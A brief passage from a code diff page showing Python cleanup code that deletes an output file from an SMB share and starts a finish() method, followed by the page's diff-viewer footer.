self.logger.debug(f"Deleting file {self.__share}\\{self.__output}")
|
||||
self.__connection.conn.deleteFile(self.__share, self.__output)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def finish(self):
|
||||
# Just in case the service is still created
|
||||
|
||||
Loaded 100 of 122 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user